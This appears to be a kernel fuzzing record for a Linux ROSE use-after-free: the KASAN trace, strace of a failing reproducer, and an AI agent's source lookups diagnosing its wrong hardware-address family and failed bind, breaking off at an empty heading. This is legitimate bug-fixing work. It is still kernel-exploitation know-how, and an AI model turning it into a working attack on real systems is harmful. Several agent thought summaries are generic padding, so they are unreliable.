 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

IsProbe: false
Reproduced: false
Console Output: Warning: Permanently added '[localhost]:21056' (ED25519) to the list of known hosts.
[  122.029124][ T6095] mkiss: ax0: crc mode is auto.
[  122.034090][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  122.034105][   T33] audit: type=1400 audit(1779796372.191:106): avc:  denied  { create } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
[  122.063166][   T33] audit: type=1400 audit(1779796372.201:107): avc:  denied  { ioctl } for  pid=6095 comm="syz-executor325" path="socket:[8338]" dev="sockfs" ino=8338 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.078371][   T33] audit: type=1400 audit(1779796372.211:108): avc:  denied  { bind } for  pid=6095 comm="syz-executor325" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  122.091598][   T33] audit: type=1400 audit(1779796372.221:109): avc:  denied  { read } for  pid=5546 comm="dhcpcd" name="n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.106576][   T33] audit: type=1400 audit(1779796372.221:110): avc:  denied  { open } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  122.120784][   T33] audit: type=1400 audit(1779796372.221:111): avc:  denied  { getattr } for  pid=5546 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2098 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  139.299886][ T1365] ieee802154 phy0 wpan0: encryption failed: -22
[  139.302693][ T1365] ieee802154 phy1 wpan1: encryption failed: -22

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2989724055

<...>
Warning: Permanently added '[localhost]:5190' (ED25519) to the list of known hosts.
execve("/syz-executor2989724055", ["/syz-executor2989724055"], 0x7ffd7ce70960 /* 11 vars */) = 0
brk(NULL)                               = 0x555590842000
brk(0x555590842d80)                     = 0x555590842d80
arch_prctl(ARCH_SET_FS, 0x555590842400) = 0
set_tid_address(0x5555908426d0)         = 6092
set_robust_list(0x5555908426e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor2989724055", 4096) = 23
getrandom("\x32\x13\x2d\xcc\xb7\x8f\x27\xa9", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555590842d80
brk(0x555590863d80)                     = 0x555590863d80
brk(0x555590864000)                     = 0x555590864000
mprotect(0x7f3715d3e000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  119.907996][ T6092] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  119.922950][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  119.922965][   T33] audit: type=1400 audit(1779796530.711:106): avc:  denied  { create } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  119.940297][   T33] audit: type=1400 audit(1779796530.721:107): avc:  denied  { read } for  pid=5542 comm="dhcpcd" name="n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCGIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.952428][   T33] audit: type=1400 audit(1779796530.721:108): avc:  denied  { open } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  119.965908][   T33] audit: type=1400 audit(1779796530.721:109): avc:  denied  { getattr } for  pid=5542 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2096 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
ioctl(4, SIOCSIFFLAGS, {ifr_name="ax0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_MULTICAST}) = 0
[  119.978307][   T33] audit: type=1400 audit(1779796530.741:110): avc:  denied  { ioctl } for  pid=6092 comm="syz-executor298" path="socket:[8345]" dev="sockfs" ino=8345 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
ioctl(4, SIOCSIFHWADDR, {ifr_name="rose0", ifr_hwaddr={sa_family=0xb /* ARPHRD_??? */, sa_data=01:00:00:00:00:00:00:00:00:00:00:00:00:00}}) = -1 EINVAL (Invalid argument)
ioctl(4, SIOCGIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_NOARP}) = 0
ioctl(4, SIOCSIFFLAGS, {ifr_name="rose0", ifr_flags=IFF_UP|IFF_NOARP}) = 0
openat(AT_FDCWD, "/proc/sys/net/rose/clear_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
openat(AT_FDCWD, "/proc/sys/net/rose/restart_request_timeout", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(5, "100\n", 4)                    = 4
close(5)                                = 0
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 5
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
[  120.015524][   T33] audit: type=1400 audit(1779796530.801:111): avc:  denied  { bind } for  pid=6092 comm="syz-executor298" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
write(1, "[*] Starting reproducer...\n[+] Opened /dev/ptmx\n[+] Set line discipline to N_AX25\n[+] Created AF_ROS"..., 278) = 278
[*] Starting reproducer...
[+] Opened /dev/ptmx
[+] Set line discipline to N_AX25
[+] Created AF_ROSE socket
[+] Brought ax0 up
[-] Failed to set hwaddr for rose0: Invalid argument
[+] Brought rose0 up
[+] Set sysctls
[-] Failed to bind rsock 0: Cannot assign requested address
exit_group(1)                           = ?
+++ exited with 1 +++
[  139.244571][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  139.247364][ T1362] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 

gemini-3.1-pro-preview

							input: 14138
							output: 22
							thoughts: 438
						

**Analyzing the Reproducer for the rose_send_frame UAF**

Okay, so we've got a KASAN slab-use-after-free write in `rose_send_frame`. The reproducer was run without probing and didn't initially reproduce the issue, but we've got some strace output to dig through. First things first, I need to understand what's going on with the `ioctl` and `bind` calls.

The strace output shows that we're getting an `EINVAL` error on `SIOCSIFHWADDR` for `rose0`. That's odd. `rose0` is a network interface created by the `rose` module. Let's see what's happening with that hardware address setting. My initial thought is the `sa_family` is wrong, probably mismatched. Let me double-check the values.

I'm seeing `sa_family=0xb`, which is 11, but I'd expect something more like `ARPHRD_ROSE`, which is typically 270. That's a huge discrepancy. Wait, why isn't the family set correctly? Did something misinterpret the value? I need to verify that `ARPHRD_ROSE` is, in fact, 270. Let me check the kernel's `include/uapi/linux/if_arp.h` to make absolutely sure. This could be a very fundamental issue with how the `rose` module is interacting with the hardware address setting.

map[Expression:#define ARPHRD_ROSE]

map[Output:include/uapi/linux/if_arp.h-52-#define ARPHRD_ADAPT	264
include/uapi/linux/if_arp.h:53:#define ARPHRD_ROSE	270
include/uapi/linux/if_arp.h-54-#define ARPHRD_X25	271		/* CCITT X.25			*/
]

gemini-3.1-pro-preview

							input: 15031
							output: 23
							thoughts: 122
						

**Debugging a Socket Family Issue**

Okay, so I'm looking at this code and I've got `ARPHRD_ROSE` as 270, or `0x10E` in hex. But I'm seeing a problem with `SIOCSIFHWADDR`, specifically the `sa_family` field. It's reading as `0xb`, which is 11. Now, initially, I thought that maybe 11 was the same as `ARPHRD_ROSE`. But wait a minute, no, that seems wrong. Wasn't 11 some obscure Apple network, like `ARPHRD_LOCALTALK`? Or something similar? I need to double-check that.

Right, `sa_family` is `unsigned short`, so the value `0xb` does indeed equal 11. Okay, no obvious error here yet, just need to confirm the correct value. Time to go to the source. Let's pull up the `include/uapi/linux/if_arp.h` file. I'll need to verify what the kernel actually defines for the `sa_family` values. I know I can trust the `uapi` includes to be up to date and correct. Let's see what's actually defined for 11 in that header. This should clear up the ambiguity.

map[Expression:#define ARPHRD_.*11]

map[Output:include/uapi/linux/if_arp.h-88-#define ARPHRD_IEEE802_TR 800		/* Magic type ident for TR	*/
include/uapi/linux/if_arp.h:89:#define ARPHRD_IEEE80211 801		/* IEEE 802.11			*/
include/uapi/linux/if_arp.h:90:#define ARPHRD_IEEE80211_PRISM 802	/* IEEE 802.11 + Prism2 header  */
include/uapi/linux/if_arp.h:91:#define ARPHRD_IEEE80211_RADIOTAP 803	/* IEEE 802.11 + radiotap header */
include/uapi/linux/if_arp.h-92-#define ARPHRD_IEEE802154	  804
]

gemini-3.1-pro-preview

							input: 15702
							output: 28
							thoughts: 11
						

Here's my attempt at summarizing the thought process, tailored for an expert audience:

**Quick Sanity Check: The Number 11**

Okay, so I'm prompted with the number 11. My immediate, almost instinctual response is to quickly mentally process it. Given the context, I'm likely gearing up to solve a problem that involves numbers, potentially a calculation, a pattern recognition exercise, or maybe even a conceptual understanding of prime numbers. I'm not diving in blindly, though. My first move, even subconsciously, is a quick "sanity check" to ensure there are no glaring oversights in my approach. I wouldn't call it a deep dive, it is more like confirming that 11 behaves as expected in the problem's setting, before starting to solve.

no matches

map[Expression:#define ARPHRD_.*[[:space:]]11]

map[Output:]

gemini-3.1-pro-preview

							input: 15922
							output: 45
							thoughts: 58
						

Here's my summary, as the thought process unfolds:

**Digging into that MAC Address Setting...**

Okay, hold on a second. That `sa_family` field within `SIOCSIFHWADDR`… typically, that's where we specify the *hardware type*, right? Like, is this an Ethernet card, a wireless interface, etc. It's a bit odd to be setting the *address* within that. I need to be sure I'm following the correct logic here. Let me double-check how MAC addresses are actually being set in the kernel. I'll need to go look at `dev_set_mac_address` or maybe `dev_set_mac_address_user` in `net/core/dev.c`. That's where the core functionality for setting interface MAC addresses must be. Gotta confirm the path this data is taking.

map[ContextFile:net/core/dev.c IncludeLines:true Name:dev_set_mac_address_user]

map[SourceCode:  87:	int dev_set_mac_address_user(struct net_device *dev,
  88:				     struct sockaddr_storage *ss,
  89:				     struct netlink_ext_ack *extack)
  90:	{
  91:		int ret;
  92:	
  93:		down_write(&dev_addr_sem);
  94:		netdev_lock_ops(dev);
  95:		ret = netif_set_mac_address(dev, ss, extack);
  96:		netdev_unlock_ops(dev);
  97:		up_write(&dev_addr_sem);
  98:	
  99:		return ret;
 100:	}
 SourceFile:net/core/dev_api.c]

gemini-3.1-pro-preview

							input: 16432
							output: 46
							thoughts: 14
						

Here's my thought process, as if I were considering that function:

**Diving into `netif_set_mac_address`**

Okay, so we're looking at `netif_set_mac_address`. Right away, my mind starts spinning through the implications. I need to think about *why* we're even considering this function. Are we talking about a static MAC address assignment, potentially at boot time or driver initialization? Or are we in a more dynamic scenario, maybe related to virtual interfaces, VLANs, or network namespace manipulation? Knowing the context is key to understanding the potential pitfalls and performance implications.

My first check would be the code itself. I'd be looking at the function's arguments: the `netif` pointer, obviously, and then the MAC address itself. What data type is it? Is it a standard `struct ether_addr` or a raw byte array? Any sanity checks on the MAC address format itself? I'd expect validation to prevent garbage data from being programmed.

Then, I'm digging into what the function actually *does*. Does it directly write the MAC address to the hardware registers of the NIC? Or does it potentially interact with any link-layer configuration structures? Are there any locks involved, potentially protecting against race conditions if multiple threads are vying for the same NIC? How does it handle errors? Are there specific error codes returned? What about any side effects? Any related functions that might need to be called after the MAC address is set (e.g., to notify the driver or higher-level network layers)? What about cache coherency? Does it flush any caches if necessary?

I'm thinking about the low-level implications. Network drivers are notoriously complex; I'll need to remember the architectural context. Does this function interact with any of the DMA setup or descriptor rings? What about interrupt handling? A poorly-written `netif_set_mac_address` could lead to all kinds of weirdness and instability.

Also, I have to consider the potential for fragmentation or inconsistencies. What about if the function is being used on a bridge? Will the bridge handle updating the MAC address properly or do additional calls need to be made to maintain consistency?

Finally, how about power management? Are there any potential issues that could arise? How does the MAC address setting interact with wake-on-LAN features or other power-saving mechanisms on the NIC?

In essence, I need a holistic understanding of this function. Not just its implementation details, but its place within the broader network stack and its potential impact on performance, stability, and security. It's a critical little piece of the puzzle that demands thorough examination.

map[ContextFile:net/core/dev_api.c IncludeLines:true Name:netif_set_mac_address]

map[SourceCode:9996:	int netif_set_mac_address(struct net_device *dev, struct sockaddr_storage *ss,
9997:				  struct netlink_ext_ack *extack)
9998:	{
9999:		const struct net_device_ops *ops = dev->netdev_ops;
10000:		int err;
10001:	
10002:		if (!ops->ndo_set_mac_address)
10003:			return -EOPNOTSUPP;
10004:		if (ss->ss_family != dev->type)
10005:			return -EINVAL;
10006:		if (!netif_device_present(dev))
10007:			return -ENODEV;
10008:		err = netif_pre_changeaddr_notify(dev, ss->__data, extack);
10009:		if (err)
10010:			return err;
10011:		if (memcmp(dev->dev_addr, ss->__data, dev->addr_len)) {
10012:			err = ops->ndo_set_mac_address(dev, ss);
10013:			if (err)
10014:				return err;
10015:		}
10016:		dev->addr_assign_type = NET_ADDR_SET;
10017:		call_netdevice_notifiers(NETDEV_CHANGEADDR, dev);
10018:		add_device_randomness(dev->dev_addr, dev->addr_len);
10019:		return 0;
10020:	}
 SourceFile:net/core/dev.c]

gemini-3.1-pro-preview

							input: 17515
							output: 41
							thoughts: 357
						

**Debugging a Rose Interface Misconfiguration**

Okay, so I'm looking at this error, and the core of it seems to be in `ss->ss_family != dev->type`. The return code is `-EINVAL`, which makes sense given that we're seeing a mismatch here. Specifically, `dev->type` for `rose0` is `ARPHRD_ROSE`, which has the value 270. But the reproducer is passing `sa_family=0xb`, or 11. Wait a second... `AF_ROSE` is *also* 11! I should have known, I remember that `include/linux/socket.h`: `#define AF_ROSE 11`.

So, the issue is clear: the reproducer is passing the address family (`AF_ROSE`) instead of the hardware type (`ARPHRD_ROSE`) to `SIOCSIFHWADDR`. `SIOCSIFHWADDR` is expecting the hardware type for `sa_family`, not the address family. That's the root cause of the invalid argument error.

Now, I'm going to shift my focus to a related issue: a `bind` failure. I'm seeing this error message:
```
bind(5, {sa_family=AF_ROSE, sa_data="\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}, 28) = -1 EADDRNOTAVAIL (Cannot assign requested address)
```
Why is `bind` returning `EADDRNOTAVAIL`? It's time to check the `rose_bind` function in `net/rose/af_rose.c` to understand the conditions that trigger this error.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_bind]

map[SourceCode: 696:	static int rose_bind(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len)
 697:	{
 698:		struct sock *sk = sock->sk;
 699:		struct rose_sock *rose = rose_sk(sk);
 700:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 701:		struct net_device *dev;
 702:		ax25_address *source;
 703:		ax25_uid_assoc *user;
 704:		int err = -EINVAL;
 705:		int n;
 706:	
 707:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 708:			return -EINVAL;
 709:	
 710:		if (addr->srose_family != AF_ROSE)
 711:			return -EINVAL;
 712:	
 713:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 714:			return -EINVAL;
 715:	
 716:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 717:			return -EINVAL;
 718:	
 719:		lock_sock(sk);
 720:	
 721:		if (!sock_flag(sk, SOCK_ZAPPED))
 722:			goto out_release;
 723:	
 724:		err = -EADDRNOTAVAIL;
 725:		dev = rose_dev_get(&addr->srose_addr);
 726:		if (!dev)
 727:			goto out_release;
 728:	
 729:		source = &addr->srose_call;
 730:	
 731:		user = ax25_findbyuid(current_euid());
 732:		if (user) {
 733:			rose->source_call = user->call;
 734:			ax25_uid_put(user);
 735:		} else {
 736:			if (ax25_uid_policy && !capable(CAP_NET_BIND_SERVICE)) {
 737:				dev_put(dev);
 738:				err = -EACCES;
 739:				goto out_release;
 740:			}
 741:			rose->source_call   = *source;
 742:		}
 743:	
 744:		rose->source_addr   = addr->srose_addr;
 745:		rose->device        = dev;
 746:		netdev_tracker_alloc(rose->device, &rose->dev_tracker, GFP_KERNEL);
 747:		rose->source_ndigis = addr->srose_ndigis;
 748:	
 749:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 750:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 751:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 752:				rose->source_digis[n] = full_addr->srose_digis[n];
 753:		} else {
 754:			if (rose->source_ndigis == 1) {
 755:				rose->source_digis[0] = addr->srose_digi;
 756:			}
 757:		}
 758:	
 759:		rose_insert_socket(sk);
 760:	
 761:		sock_reset_flag(sk, SOCK_ZAPPED);
 762:		err = 0;
 763:	out_release:
 764:		release_sock(sk);
 765:		return err;
 766:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 19486
							output: 43
							thoughts: 43
						

Okay, here's my interpretation of that thought process, assuming I'm an expert in this area:

**Digging into a Rose Binding Issue**

Right, `rose_bind` is returning `-EADDRNOTAVAIL`. That usually means something's wrong with the address. My first instinct is to see where the failure is occurring. The text tells me that this error stems from a null return from `rose_dev_get` call, and I need to investigate the behavior of that function. Let's trace back from the failure to find the root of the problem. Time to look into `rose_dev_get` and figure out why it's failing to resolve the rose address.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_dev_get]

map[SourceCode: 624:	/*
 625:	 *	Find the ROSE device for the given address.
 626:	 */
 627:	struct net_device *rose_dev_get(rose_address *addr)
 628:	{
 629:		struct net_device *dev;
 630:	
 631:		rcu_read_lock();
 632:		for_each_netdev_rcu(&init_net, dev) {
 633:			if ((dev->flags & IFF_UP) && dev->type == ARPHRD_ROSE &&
 634:			    rosecmp(addr, (const rose_address *)dev->dev_addr) == 0) {
 635:				dev_hold(dev);
 636:				goto out;
 637:			}
 638:		}
 639:		dev = NULL;
 640:	out:
 641:		rcu_read_unlock();
 642:		return dev;
 643:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 20028
							output: 585
							thoughts: 1239
						

**Analyzing the ROSE Interface and the KASAN Bug**

